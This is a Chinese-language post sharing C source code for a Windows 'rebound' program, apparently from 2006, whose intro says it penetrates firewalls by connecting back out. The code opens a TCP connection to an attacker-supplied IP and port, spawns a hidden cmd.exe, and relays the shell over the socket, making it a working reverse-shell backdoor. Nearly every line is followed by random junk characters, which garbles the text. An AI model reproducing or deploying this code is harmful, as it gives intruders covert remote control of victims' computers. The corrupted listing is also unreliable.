这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 OKh0m_ )7
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/* ============================== Z3JUYEAS
Rebound port in Windows NT JuSS(dJw
By wind,2006/7 J$}]p
===============================*/ <8}FsRr;J
#include eN<L)a:J_
#include HQ@g6
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#pragma comment(lib,"wsock32.lib") D^4nT,&8
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void OutputShell(); VgVDTWs7
SOCKET sClient; Qa,=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G%sq;XT61
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void main(int argc,char **argv) 7?yS>(VmT
{ K T0t4XPM
WSADATA stWsaData; AJ%E.+@=r
int nRet; "AUSgVE+h
SOCKADDR_IN stSaiClient,stSaiServer; u9~5U9]O%6
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if(argc != 3) G:1d6[Q5{
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printf("Useage:\n\rRebound DestIP DestPort\n"); #csP.z3^y
return; Dnd; N/9
} Tc(=J7*r&
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WSAStartup(MAKEWORD(2,2),&stWsaData); %[|^7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |'z8>1
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stSaiClient.sin_family = AF_INET; 2
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stSaiClient.sin_port = htons(0); %rb$tKk
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~yJ 2@2I
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kQmkS^R
{ "jAd.x?X7e
printf("Bind Socket Failed!\n"); bg Ux&3
return; $A?9U}V#^
} ,jRAVt+{N
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stSaiServer.sin_family = AF_INET; N[@H107`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U,P>P+\@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ms|c"?se
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hY.i`sp*/
{ 3q'AgiW
printf("Connect Error!"); d~~kJKK
return; '$OUe {j<
} ^OiL&p;r
OutputShell(); e%[*NX/
} $Wj= V
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void OutputShell() /:F^*]
{ M/6Z,oOU
char szBuff[1024]; 6 ]x?2P%
SECURITY_ATTRIBUTES stSecurityAttributes; ~uc7R/3ss
OSVERSIONINFO stOsversionInfo; qA GjR!=^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]P3m=/w
STARTUPINFO stStartupInfo; 74M 9z
char *szShell; l$/pp
PROCESS_INFORMATION stProcessInformation; \<pr28
unsigned long lBytesRead; y;ElSt;S
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'O(=Pz
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wNHn.
stSecurityAttributes.lpSecurityDescriptor = 0; sm-[=d%@L
stSecurityAttributes.bInheritHandle = TRUE; 83c2y;|8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M?lh1Yu"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E@ :9|5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >SI'Q7k
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z8v 8@Y
stStartupInfo.wShowWindow = SW_HIDE; _P.I+!w:x
stStartupInfo.hStdInput = hReadPipe; %C_tBNE<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7Jlkn=9e:
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GetVersionEx(&stOsversionInfo); BI:Cm/ >
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switch(stOsversionInfo.dwPlatformId) _4N.]jr5
{ .j:,WF<"l5
case 1: FPY k`D
szShell = "command.com"; tkctwjD
break; 2Xl+}M.:Y
default: `xzKRId0
szShell = "cmd.exe"; B4b'0p
break; 6axxyh%
} \!\:p/f
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b11I$b
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send(sClient,szMsg,77,0); Jb"FY:/Qv+
while(1) R@K\
{ 6o^>q&e}%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -{0Pq.v
if(lBytesRead) |E >h*Y
{ ,4H? + |!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); WhW}ZS'r
send(sClient,szBuff,lBytesRead,0); bJ_rU35s>
} hH`x*:Qja
else iI<c
{ .u)KP*_
lBytesRead=recv(sClient,szBuff,1024,0); Gk~aTO
if(lBytesRead<=0) break; r)|~Rs!y,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LWM<[8wJ4
} T!H(Y4A
} } [#8>T
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return; Z^V;B _
}